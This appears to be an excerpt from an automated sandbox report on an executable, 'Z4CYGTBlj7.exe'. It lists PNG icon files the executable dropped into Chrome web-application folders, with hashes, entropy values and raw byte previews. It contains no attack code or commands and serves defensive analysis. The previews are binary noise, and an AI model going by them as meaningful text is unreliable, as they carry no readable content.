C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	12565
Entropy (8bit):	7.98551606495844
Encrypted:	false
SSDEEP:	384:tvVxujxGGg1/0ig1VORfw9dO37cUSlx8KZAQPh:hPRsLa2plfZjp
MD5:	77C5BE17190869EF59FE9C2D388FF86E
SHA1:	76BB9D12A88541F1089AD5CA89A27C230F7CAACF
SHA-256:	987FA72417E254C76D5D8BDCDB3F528554815FA80B0E15A293C1B4B148147654
SHA-512:	41E9ECCBF39CA459E80FEC2B5F3220F9950DC95BB1F9D04E38535EDB1677C9B7BA16FD6C15238E8ED00C54F2D5E0048FDA937CAA5225A7E4E74DCEA04813E985
Malicious:	false
Preview:	.PNG.tA.9...u#....h;....]!.......8....Ah....8.-gu.M.V..X&.KP..\..$.y.3y..UL....p..i..P..a.._/.W.......\P'...I8.........9..:...m.....9<&v..aN.u1.B.....rx1.@..y.>Z..Us.....:U..C.}28<..XP...m8.@...Z..8....) .....<..l....Ah...D.1.I..2I.[..Aiha...x.B...C..>/Tt4.E?T. I...reQ.h$.y...~5!...%..a.....lE.J.(..m.k..XP...,u.I../S.(H.F.h"...xC........y..p.:.}..........<.:4.).WP&..i.........^....u....P..W..=..PH....C~`....O.%np4...'.T\..j..C"&"..9.p/.....r..j..{..D..d....1..E....2'.8..&O/u?A.l...X1H#......,l...h.,l.-....X.".V.L:....-..\|..(4.PAc....l....^.....z.]..v......j.;....J.c.q..c...r..h.ir..D...!.:.+6jI`%..n.....`.....J.....5z.)....E7....._Om^....Mc1!U2.m...A.}[.....v.\|..,..m?GA..J....v..e.6b.~kn/qh).....rQz...`.h.5..x.......e.X.+.*.F.....3Z~.+-C.4$.lt..L_...Q.M......m.s.>.:.0Q...)E@.....(..E.J...?.l..\|......+Mf....;!\|....$.k4P...hk,.vd..#.w....G.@....i3.@n.{FU..b..Q....pB.c....d.?n#....\|.0Q.f..P......E\|......j.\.<....]./.6....b...1.m.M.'K.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.887776746699384
Encrypted:	false
SSDEEP:	48:vmG3jwVDIeCm2IZFe4QCJwZCudLLHY3sFX/PX/ufPEnfmD:vdle/pZHifdo8FPfvf+
MD5:	608A56154D96EFF92FC0D578A7C25484
SHA1:	D6332A620FF68A1D0DCC92FD51EA304504BF3A57
SHA-256:	41E0D7B050876DC06CD02D9F9CA75CCFD69F4CCE0405FD35AF4E5456270AACB5
SHA-512:	6286677D098FDD81C88E96F1835EC8D176E99162D78554AC34504FB77EACB5259E0AF18EE71D5C0DD40FB29D0648A4B04CFD7A7760D02DACFD91711E217978EF
Malicious:	false
Preview:	.PNG.._G..;.O.......Z...9.lL.B..../N..;....x.g..;.yVu......Z.r.,$\..?.\|.Np............;.Q......U3..oE..B..j~.w3...(X..._h......e.....w.<4......26.ktq{..JH6...y..."..`.~.-9.].P~..6qQ.dq.......x..Q.P<^....(...q...x.....+..?.{&h..,V.....'...N~k.t...Qd..V.......Iz.I...>....G+/...^=qJ.].....P..0.X...w.e.i.p..-~U..ca8{}<7o.%q..Z.....e.J.....d.1G..E...q.$...g.V.'.....[E-m..t....%EY..InNJbj:m...'...P3..t8.CH..~...p....#7..NF. "".>...k'.H.......e..SKG^..5...BJ........$A..^...p......2e.....{..fn..X.D...5D{..:1e."............_.{......J..(.k...#"CQ..$.4.T".....T...]RU.9gc:1x=q6.gY.f.f...O..3%.-KTd.Q.}V....n.....S..X...AU.E,../........r0....M.Bskm..W..1..B....=.h....D.M..J....H....J..#...C.A@.F..0~J1.@......x_4....$-]...ncqU1..3....<.xyY......$r.]h....q.U.7.s.=...9..F"..H...P..US>.J.z..@.*.....qn.<..Z.#...2/.F..~.....sY^..t..."K:>`^..#aG.yT..\|.l.M.<..o....%.L..0..s.....N_K..d...H....G......u.:xjV....s5?Nh.$...U......b;{....[of:{..o?r.0k}.e

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2715
Entropy (8bit):	7.93474776095142
Encrypted:	false
SSDEEP:	48:PZz6/wWQZBDN7oKQuBffwLfWLmijcAPb51GdmU8FM2YV2vsZLvQ41jmD:d6YFPDN0PuBg6fUiFqEv8vlj+
MD5:	C53D6F922CCA1FD02E0964D217DB6052
SHA1:	3A0A2A0DC123FD875021DAA6346E7DCEF988208C
SHA-256:	03A54E22F42B9457702EFFD81E1EF831646FD14788699A8A6CC3CF3CB5C7CDF1
SHA-512:	38204A6A78057DDE7893959C77FF594BEF467741B34782D1D60E4F7A69077B01FB1B86ABB6A30EC6165B8B12183E296960360C09FBEB357B8C3D81DA2D1EFAA0
Malicious:	false
Preview:	.PNG......../ f....s..p.dxo_..c..tp7Sg.Y....R;.....(.3.........Y.zt.6h..X.%.!...\...^.6.Hi.")y.k.."`v.'........._......<y.a.J.8..GL`g.!k.wP..1...S.s....b.=_......'..t.OB....;.L..4..h....?e.y.......GqB...{.zb......f..6..#.....)NHI...p.[......cX3q..;....ea..nXwup..G.?. 'B.E5.p).......1....NK..._)#...k....i"... _2..g.....0...:...J...eA............,.~./b.)......x.+w.b..>\|xr.`\W.v...../..-.9.E.z...._..1.....M.R....:..!!..[..C..[.c .@..............+..;5(.s.j..%..ld8....G.^W...cw{."^L....7..........]...l[.Z..cK....}....W.@.e..c....PTd.Q....+.V^..`......N.yz...........v...an..x......... .d'...+...}...R....Y._.T~B..)G.x...9.k..=d+].y:..H.nJ...R/Y...9L.T..17.../.5..V.. ..s...(.....fX.Fn}..D?..}.m\|.}.....rO.I..vp.!l.g1Y!..CC.....H.Z.2...w.2..i/.....b..>.n.". .r.l+.ES.Ag.}.6....0.;.I..T?.\%Gc:..-J....K;.P.7j..".}.y_C...8.e...J.R.]S.L`}..^!....X...:.L..vl....n...n...I....Y..F..-W..K..a..t'.I.bB]<$..}......h....../.;..r....r....-m..... (.2M...!."../u;

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3330
Entropy (8bit):	7.940346619245285
Encrypted:	false
SSDEEP:	96:uHxqofKJEYr8jTesLbhA0ZifIwLGyWHfn/Lo+:uHbu8+sLbW08f9Kpo+
MD5:	F91C9543184513F18473A4DAF2B1CEC9
SHA1:	9B29ABC1567626007CA47D894B0EE4559A698B8E
SHA-256:	A20960BD68DDBBB7BA014DB1B8371FDC4CFEABFE99650853F5DF8589D28CB847
SHA-512:	4B0768144ACB109F5C96320FCE5E7F7391C5D38727B9A719AC486E1BF3B17043D918C302EF2B9DD37735C51BFA7DFA65E8D379A6EC7B72D53FA41E905AB2D3C4
Malicious:	false
Preview:	.PNG....u..6.."`..2..+.L........Eh.$..2......E.P.....9........ ..=.{...5....\|...4.`T.).4...I..v..R..J..>.=......jF..&....{%........./..."jN.."7[....8.z.....J......W.Na....^R.g\|n.h'.=.j.1\|d!. )9. .3....&..HXf....H...._..V+U./J7).T......0...E...{q.4.!7....f3....mv(YN.Yv\|.H...C^`j.X..s......%......6....P....pb..,.FrF.....h^V....,..1.Jo..[.......J`...;yI2e.d..l.U.!."&&.s.L.....'.S....w.wum..8s.g...i91......f..Q.a.. .,......SX..O.k..(=. K,G.mLe.n&..Y...L..<..g....8...._P.ca.-.<...n.#..........(..z.{.%.fO.s\.......Q....k[\.!{..,v...}s.....Z...J.....s..y.Vj...\=j"~"b..$3./.....SB1..9N.......G.f..y1n.:.....%B.x.>....M..eE.......D.&....1..(.".d......A.C...?....o.U.uVR...l.>..M..@..f..K...?.....7...l.........3BN4..Q..A6...6...P.6\7...B...d...d...O..X...y...QC"..B.At.S..,f.w..r..U.2M.......I.".P..a ..K7.v...N.mV.4gn../....Z../z.e.DVOs...m1-....$.......":....).t. .c..Q.'B....IU.....&....+..]...!2._..,.C<..%.4....-......].%.t...Y....V&.=

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4188
Entropy (8bit):	7.956811768037701
Encrypted:	false
SSDEEP:	96:Ws1lWYvNKKNijrn/uiZq3uxO2W1hnDgIkAe1u+:WCWWNKKs/wuxO2WjPkXu+
MD5:	60A6FC52ECC902320C06C166E9885773
SHA1:	D87462578E176AFAE549EAC770926F48DCC19451
SHA-256:	04481E99B5BAEDB62284D32F6D8CDA085441316D8B735585F59413C573F84DB9
SHA-512:	2DB8D674556DF56AE778399C12F49EDA56620D90DBF1BAF140B17A8199D45C2C5F0172497DBA48972164359E10B1587DD4205F0DE98DF94157FA732752163E14
Malicious:	false
Preview:	.PNG.d.D..o.=Sn.d.....p.hQ1J.ps....0....xZ..zi/...z^..BD....<.s.,...`..}....ON..]t.U.T-....m........Y.`2I..z...".<-.6.......2#..>h...i .=.....$...x.FAE1..a....#.E..L...k-R..Av!.J\Hu..8.........9_.w..C.>....GI...}.~g.?A...a...P./..Ph......L.d0..5._R<.\|....s2:!.....l....e. @.s.^q..q.7..b.[nc\|Z.N&..$.<..R.....-.9..2k....%M...D...bL...B.0X/.k..L.^Re....G5..U.f.< &2n.!........$#7.^..."UB...H.g....M..U.]..8.Sj.=.U....a...1.f..#.$UT...ptO.}[<u.2%...A.5.D.!.....xf.JM...&G3}.......K...M...b...TO+..hx\..Vb..4O.t5.{..<.F.T........Q+..a.L`4.E...E....M.G.b.c....P..\.b..x6.. ..G\|\|...........e.K.X........fl.fd..x.+..H....].....r..Kv%.....2..b..........u^/d.`E.I@.b:.6.y[...z.^...Ru\c4..Y;).f...v.!..f.....?.H..1.M.x0...s.......&@K.AT.......W..E.b.<{.K..z....:.).A.....1.;Y.N...1+./v....1.q...,"m(..8..S....J....y..wK.>>N..b.z.Ye+.}...R4m..@..G..(.I...p.l.up...\.....s..X...@..$(..4...d.C..`.`4`......w*."..lT....O......\|...4}..o...c...}l,>...Q.,\|Wp8.3

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	7.912758265421003
Encrypted:	false
SSDEEP:	48:4c3hqQ2ybg6GA5EznIAF/GI3pQSbpWDNqD+cxxiPWvi/vymD:4cxqQBiuj5A2+x4Yi/vy+
MD5:	40EBBD60035546F175F225FC7E41BBB3
SHA1:	46AF1DD770FB017BD8AE940E2BB9474A039A6620
SHA-256:	24FB48ED48031EA0CB83482590029A51DCEE233CB89EAC3FE0EF9EDD93709124
SHA-512:	FA7BFA1380D87DBD6FA5857DD13C612BC6F4249D5F8E57AD19C695FEDA772F65497B2E6CFEE60D25AB15C0EACE9B170A254528940EE61BAB3E7FD397F734FCA2
Malicious:	false
Preview:	.PNG..^...].`.%.P.m<..7..>..8.^.........x.$...5Z..C.$.#t.~T...A..w7.f.#.0O...9\..~n....{.........Z$.=.0o.P....$m...<.rt.q...M....Q......].....2..A.O".c....(.m...U.oQ.[..)6.&E.K....)}...b]..HA..k..N.t...cY'9.FO...k....j5..}...?..[<...eD.yQ..<.8(...`,........<Z..%.u=..cA.=.]..~. B'.F..5P.$..D..j.z....K.".K..a...#i\|.\|.a...V8._......U...}.N._......."k...'...j...].da......]3......$P.X...KR..I.dz...]..LJ....{..y'.2\|..~...C..........0.L.KUL.....wWx..G.m(.y..@.M4X......\|.'.0...jdj...a..g.........N.=..2.Zq'.Kh..l.Z.j......n.vU.{.~E...gb.....6.==....G.:g...yaJV.Pgx.!V.....95q.....O..<..i.i.#$_.98:.D....G].k.Dx.._'v.~I/..kV...).Ta.$}9..D..9".S..5....0P.#.....#=.i.''...U.....A..`&3........P.t@....O.....t=#]>.sx..~..g.P....Vk%..b.....X.!.h....\..~..Q....KV.......6./.O.....-....D.9....WD0.".=..f....$...aF.%Q:. SmR>g........Fm.T..d..;..U.V`.Y.`.C.......x...a.....2@_j...~ID..k..GB86..x.,......=.........H.<Jz$..(.....7eax]....<..j.*..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	7.8793498471198795
Encrypted:	false
SSDEEP:	24:l17oDay4DJQhGYXkW8nW/TCu6rZpup02dVjZ5LC6oztE5Go4b0rINbOCx3r7bDZ+:7rD3cepsBdle6owGoZrIlxb7bDZmD
MD5:	DB8D4C3866AF37013BA7E32BCA253C3F
SHA1:	3A2441534C8F76E96245A862E552242EB32F0A49
SHA-256:	0A8294CA5CC6E030016105D32151CDCF3E76039A4C6BC2A9C8C2A0288B96A6FC
SHA-512:	8215230CDA5D70E935075C58C635FADDA3A7D2C10930D6AB27DFB9EA0AC4CE06F3D1DEAB01E8C6A4AEAFD341A4E998BF1736FC27F0B18D2F3BEA34ED4A77A0C1
Malicious:	false
Preview:	.PNG.8.!..c..!A...u4R..\|...W..VM.....0 ..N..I.-...............q.T..(%.}..\\|y@..s##8.U..s.....m........tDE.V...gW..r...c._.....a..,?...IbM......H.e.B.)ee9..p\U.i...z9.\|,..Nx&T...........r.....:3.. o.l.#4.f...rb4.........cxv$.....)..........<"\.8.r ..#.Y_vpU`.0....C..c...R.e......4hD.?6..X\|f<..v.S...V.1y.Z.t.........M.@.6...g...;O..J~.[.{.....?.J...8L././.......1...~J..b>..^..!..I[......!.D{.Cz......c.\w.]Y..%. .+..J..C..o.gO..n$\|.'-.b5Q.!...>.J...a.nd..W...J..83.3:..X..a......);W...e.9O).k.;D.i......<."Y..oC."H.uC..6D.?...5.....I..y...[.>.q._..C.hF....<....6...c.-...#.^R...\|"B.r..!(..a..,..w..(....\.z....?..Y..[.....k....H7.W..C.Beg..d...26...7...@K...W.MebM.S.z....E.`.KIO..D.BS-.(.4....1....I.....ZH....W...\......{.Br...6g....R.-.4..=Yf.....Z...~..r...d.k...u../t27.%1N..zt..\|.....$_8.../.$.)(G ..K.A"$..._$Rc?..dj.....U....V../+C..">.d..K....T.....R.3.Q..2l.w......E..,.Y,.Rw.n^191..^O...r.E'g.".E.f..i..iwe....W..;...P~J.fv.4.....d.Z

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4375
Entropy (8bit):	7.956327448062074
Encrypted:	false
SSDEEP:	96:cB+9IR/G4mAMKudLnlZPkctdlypURS8Jd0osciwOTVSAB2++:ck8S9lSKQC0YirxSAd+
MD5:	05713277007705045B1795BA7FB24A6D
SHA1:	B088790E68B6F8C9DB9245D97E8E1F6EDC59EF64
SHA-256:	637DFF17B6AA95F86F4037EE8172E6642BEE7BD2D5A3732F25425562A16D5D36
SHA-512:	16ED203F72B9B8A785F999BE2C8CB4BDD41961250E25A2A3E3687034ECB0817AD0A20F1B2D7FE4C55B44833685C41857BF19FE22D7BFAA40A3553704B79566E7
Malicious:	false
Preview:	.PNG.9..p1.rhfm.o...$.1.4..N.Z..M....y..q.kC......`:....`..G..+Q0m.1.3..x.f.f....}....NB(....1..x_E.^.....\..3.K).2aLO...:&...@..h......(.A..:..T.,c..h.=..p..J.j.I...$.;.?.o<...0m.u..H.29....m ....\|}.N...T.,S+.z..#>\.Z* ...M.. J....Z..d.F.x.i.......F....T...GeN.......D^f.....g..b.k..9...Rd.H..y..'..h...[.o.aK..K......m.gv9d.......t.q..}...S...I..vG....%.c.)t..#MG.ml..S..m@...d..<...p...Tx.+.Rr?...IXE.I.xG.S..p_...ps......5..lq3E.q1..(2m.P..`..rXu..wY<T.[.j.t.}}.\.r....V.?#'...Y#.ra...-7=._o..K..k]F.d....Q......4f...(..Y..].L..I).o.....SF\.....:.a$..V....E$...j/w`h.D.......K...W..)...w.V.......G.6?.....d..L..:...N..$.....t.aox..uX. ..>[.2\D..m...4\|....c.k.6H....v....\.$..8.[/lqZ...T..r[.kE.........;.....&F.;e.'.9....9.....]..?.]UA."..D...G..P,.h....*>.P....d^...s.....cB..i.....I:.2..i.."... ..z)...R..O.....8.i........Ad&...k..`2 ....9...l........".e.!...ZO.h.G.7.T.....I.u...Bu..jyl...........p...A....O..QTwa..../q.J{.."..b3.Xo..KO...4>

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	7.815625922614972
Encrypted:	false
SSDEEP:	24:fxfi0kESuRPMiY019LdzCm28JnUCLhucTaYBOHh6OEdVxsbD:Bi5ummW3UaYUh6fJmD
MD5:	D3F55C527F2BB70272BD473A3E38DFD6
SHA1:	F5A8157608CEDED0D8C2D4E1CE5E39E2F3E04626
SHA-256:	C7809A77B117C117913DD9243031ED8675C302E227BA0789FBB1EB82D72B8C4D
SHA-512:	CC4CD53988CC23B5C438ADE59F54E88091B8C03DD4163243CD76A60A026C82134575B6D5B63C1D0A4B252C1261CF93E76A280784CCE8C93A02C695B2E461B8D4
Malicious:	false
Preview:	.PNG...v. TE..(.dl9..?.3../..5s..R....t.O._?D.^...<Ee...H.c..1..$c......Y........w.u..;!...\|$.7.....W....N.=(C$.y..Fz...dz...\|.^.j..'...{../...xNb.6Ev.?O.K.t......5....\..J<..'6rE.{.-....J..`.r...+....Qg.k....\|.;^.....)d!.. .....B/..f..l.0@_X...a...A..2CWtz.~0g.._G.I....._l].;).^....k...h..^./...G.....%.b.:.BI..8.f.o......w{hG....zsV...M...<)W......Q......s`>d.D.@....K14.qCr..W.r\l8.F.q.e.sN.2.....F.F<..v!....64.....pi;.!.@..YO....ypzn[>6{...v9A5CR'x4.....P..u....{t..{....t..i..61..;h..c.....}.J.&!.Q.j.xY.3..^[.z.'E............D..0)M.Uc........r].C.>_......u....w{....k\|.}..V.\0.b1%...K...# {.N..#U[d...S..PH#1.k.u.......].n._q.`..X.Bz.........)......Za2..YF.^9>.4..!K..{;..!XhNN[x..+.XZ.M........-W.4?B..uy.Ku.(.F..\|.r,Hw6..n.Y.G..j.d._l..9....L&F.c.D9....M.x...........[;E..{.).?..S....{K&...F...#..`9/[.WY....,D4eVR;.7..3..uYL.=.&.C....ttr.D3._. ... .Dj..4.( .Y.fB..7N4wtd..-...n.`..Uh.,...!N..Ul.:.x.eN...g.4..[.....\|Uw1.1..<..M.zD.. .c....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	7.833010326972278
Encrypted:	false
SSDEEP:	24:iG25RbxkTPv4sYKWb1Cf6pNBXCbSDKDtXGEVh5tLfbcjm8ULX9gJsbD:c5txkTPv4sYKA0fMnXiS2DsytMjCj92+
MD5:	2EE95284DAC6C9BC0CB2FEFD8BD749D1
SHA1:	3D87F6BDE4948356B0D16BC2F07BC06BBC8D2045
SHA-256:	B0A95A1584AFFD110419BAECF6EC492D083A1F1D97DED9FCA83ABA7E405F1D92
SHA-512:	8505D5A8EEFFD83D53F53C24C12225EF8E62C77852E42ADEDCA65E6B6E82333E4E23A0FEEC6EBAF91C50FD78A0BF05A39F47A8887FE8361AFAB3F656F17795C4
Malicious:	false
Preview:	.PNG..Lz.Dp..........n LO+.XP.6 .M`b.. .akT./.,.....-....b&.1n........y....4.L.Lk.c...{.Z.D...].....rx\|T..\.`....y..-.B..`.:9.`.'...-.s.._....g.4..+...3..j-...`........O..F..n.4=4..&Y.......+.;..z.FiN8G"-.V.z.p..%..N<k....YIN{4..M............z.J.S....leZ....r..<.x....Y..Fk.QLNj..W.w_..L...\.....B..G.../..L..z.67...Y.......1p/Q...u.H.'.o.2!...?........a,%HA'mm.z.-..f.C.H.(....-.)...%.......... .....4.'.7....:..#~.......Jn....pw..Zl%....Z........w\|.?..n....\|m.k.....8.......c.x4{....YwH.....S(,.\|.x.n.!.:.\~7. Y..uVV..{..z.:...GZ.j.......PX.,...5..\|.Mo...rtC..d...VI2.....+kJa....y...M...pS%.r.,[..{R.Z+..:c..........j.A...F..dA{...c...5....U...........+3.L......`..\|.....FJVt&.=..DNP/f...[..7.QX#$.Va#.......^..P..PK..<.X.rOAAH......E.K....&"..!..i.+,....UV.J.%.T.:..K..6.J....$~l..J`K,.n...4.M....k.`.X0X....t ZpI.Ed.(.4. ...V..Or.."<0.9_x'.^..}oZ..<O..z..-".......H..j.s+..M..A....@.-.>...E.Z.>.A.sW1.;....2..8.t..WU...&9..9A4..6.....'..Z0..b.J{

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.871560710411962
Encrypted:	false
SSDEEP:	48:LCF1e+zdX7XlAKhJek52OAeNDpz/IHRFVSHOIBTRCmD:qPlPhJJhQHR+HOIBVC+
MD5:	DB4F9F5D9917A9DF5176813012D33643
SHA1:	E7E7BF58B3E3866F4DA073B235D66574CA8DDEAB
SHA-256:	DA49507FFBD1E5EEFC4850EC03E723640EF99AA74911EBFAF1688B1CFB7DC143
SHA-512:	CECC8EBDDF85B017A53AB1BFB65794BB0C4143D3250A2E5586CB66E3A79D98E3473C7C237DACF3A0837B0B1AF7C740C444C84869A54BE74F5E696F19D81D207F
Malicious:	false
Preview:	.PNG..0.....TZ.........18{C..V..eY7...8..K.../.Fk..6.. ...OeSV.V1.......j.c~.afrJ.3.6.8..V..0....:...;68.....u...#.[6H...}.8.I.4o.E.CMn3........G.....lt .......!'.....N9...4...ei...]p....!..{2...4OF..<.!.}.G(..%..:.yS.P!/..h...#U........ 7..[]$..8..\|9_.'.^..\|..F.._.....W.....`...0.m..X../..o.i...E.L.o...'JF..t....<...V.....0+.L....=...$2....`w%b..\|..~..YN.....{......l.x.......S6....+..n.!.8.=.G.S.....b!h..2~..d../.E..t..S^.g#A.U`C.....:n.f..D.m.I3..m.C..a;.N:h.6..n>%=........1.9....0...:~.v(`.V...0F_....r.O.JreY...q_..(xr... ...{....X..s.K$.$O..(..Y.o.O..n........R....f;...>.....`)..B-.7...[O;].<m...[.v9S"4..j..R.D...._J...w..d....J.>...\|@...e=..6...B.,..nM.V..\..n.X.!@l..8......H...B.......R.......K>..J...K...W'......U.^Ypo1._.wT......W..5..J...U]...RK P.m..h...e....:..4.4._..;.....a<....?l..K{..)...p.G..Ev.h.`H&8....Z7[g_...Q...A.......8.I.e?.ba^..#....~vL...^....K..w.i.Td....0.[..V...Z.%r.....Ok.09z4a....`^...K*nv\|.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1839
Entropy (8bit):	7.887682375419738
Encrypted:	false
SSDEEP:	48:q7CuCTORQI2Mzvogk6k0VhTAMHhFSFOGAp7RHtmD:OYOXzvd/kO+MHTyOr7n+
MD5:	D828157E4D804F180DC97EC0FF3C948E
SHA1:	E4D4B676106F4E23953E932752B80DADE4B4AD73
SHA-256:	0EACD425420725B156B752601FF778384ACB55D734453763306689C62DBE73E9
SHA-512:	57A44E6B67B3F383F79CEA65649E7C8B1146D62F3E24F6804C118797B7D32ED2B7DF93858E4DE89F6693CD8E2E6340E506D74BA39641C3B9AF635D9469EDE01F
Malicious:	false
Preview:	.PNG...~...s...g..)3..........R~.8o...l..J.v...1"..4....ID.OG.n$..Z(.J .A)..D.d..-Ht..7.@_ xM<..3....r....62..].J..u...QU...?.J2uR.z.9\..H...2E.-./B.l)..L...d..HM$l.N.2.!.h..^U.9.i..w........Z3d,.?~.[<=S..[....{hm..&......._>q..}pk}.5....4....j...8...`6.#...<....,...dm.$.I.S..j.1B.<g].52...>`.6Z}...E..9z..A.Sl..$7.%._%..h~..fO...+..v."Z.....^..q..mR@....{.C..W.(M..........{(x<@.9..V89.&..!...U.......S,..X...-.....88..m......+..n.7...$..?.={.-N.d..-K..0y..A^9em.Z..j....z7Z..C.]."...GY0..kr.....k..n....n.G.T@..f....y}5u.....d-....PTBF.M..oO^*..O..........i5.n.d.O...t......=NYf=..J.3d4.....kS...:.Pi{m.N..fK.. E1.D+.....,..w....3.v. .....X.m.R.^.Y.).1.d...q].v..u...~..y..kf[".."Q.m.V.;2....b.._R.s.k.RE7C..0.h.<....~_Y1..\|..8=v.e....P.$...+..l. ...B<..E..~....=<.@P.w}..v..w7..cKm?.....$.L..Sl5j6f1j]F~...t..\|.Y<..E....P.yD.N..!....c.g@.3.dM.$..I...sE...E..^B. .fOwdgDn.c.}..r_....T..XH.?`).$>C.Y..t..\|Su..a.<.KK...f.@B5.q.pj..5...E..P../.]

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2342
Entropy (8bit):	7.905893902688814
Encrypted:	false
SSDEEP:	48:XTrEUtIqCb3Hlz09ZUcyHrKG16pfqboIAYNk/yKommD:XkU2l3Hlw9ZUcyLdUpfTI1Nk/2m+
MD5:	E6AE7C78B18BEF4E6C5CE9265014999B
SHA1:	7432B27D7B8B3EE3E378EED507651115DF1A65A5
SHA-256:	6DC42F256C4ED818AEF41ABA9B1F71911C54313DAB2A8F76BD72F13E3020D0AF
SHA-512:	28B6D0119FFABCBB15F5BB3A73383C8FA64E5311E93F0501A89FC22FD432F4FEF1C0E14108146C220B62E33769FEC1339E9BF9D3F3322E70990715C22FCE3C44
Malicious:	false
Preview:	.PNG..\..%...X.Y....(Q.....X..nw .%B.Q.",[f'!Ot.!{6..Y.h(q..<c0?T.p...u...zU\..W....`..?8.20.c.ZH......y.........`.G. .-(G.....K.........-.C9...qc.?...N8..:9.k.......I..H..7..S.....m....piT?.x3........l....~.d.Z...(.;......./h.-.E(.g.../...Qh... .)..k[.a.y........7...I..s......LJ.C}..r...p1\|.D..y.\.9.v.=fp.....\.lP..?$-[..tr....r..K...V4.Y.z....fm......>....u.I....d.ziE...%&..<FoG.h.^..I...U...S....7.zX.. I..>..H"M+~....cul..)V\|F.....\|Fy....Z4V....'R.8>a"E...E..$.......'i_^.M<...b!.x..5......#0!.Byz.:..Q.......'..O..3W.y./=._...#k7o..........x...#..3.x..m..QP}."........T....;.U....%.N.]].H"L.Z..'...x...9xP.......M5%.k._0.e. .cR',..b.o..O.WlN..cM..\.~..!N%M..].....yL..Z......a....h\t.<4...c..d...~.;.g;(6....n<.......P.%o.x....sw..M....C..<4..+.a..0..%T. ...^z.%..'...8z..&..nEs.y....4j.R\R.x..r.........V.K.cC..0..u...o..=.....6...D..A..\E}...#...Sjs..t[...j.A.]\|..c.wGP.\Q.-.s.Z..A..#..Od0".n.........s..,H...'......4:"....e.(..........K

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1569
Entropy (8bit):	7.876866113556492
Encrypted:	false
SSDEEP:	48:dHYUdQIarPFl2mrCxZTIaSmsNBiJBo/VRmMY59mD:dHf6rb2mrKZCmsNBi7ojY59+
MD5:	65A755EC70A3B87872570BC2D8041578
SHA1:	89148FCCD5D3E07046BA4D9963BE06574307AE9B
SHA-256:	FCD022812DF3EF0FA09180823DA7C380B27DD0B2C32EAE4C2A2EC55A5B87E651
SHA-512:	43D5A0CD2A00C7C979E37EFE4CF67E9CEC6C15C77D62ED80879F87FBB9016DA41CED18F279920FF14886E1BA5DB98BFD8C1564CF0B0237F7448A1C8F7F4D1DFD
Malicious:	false
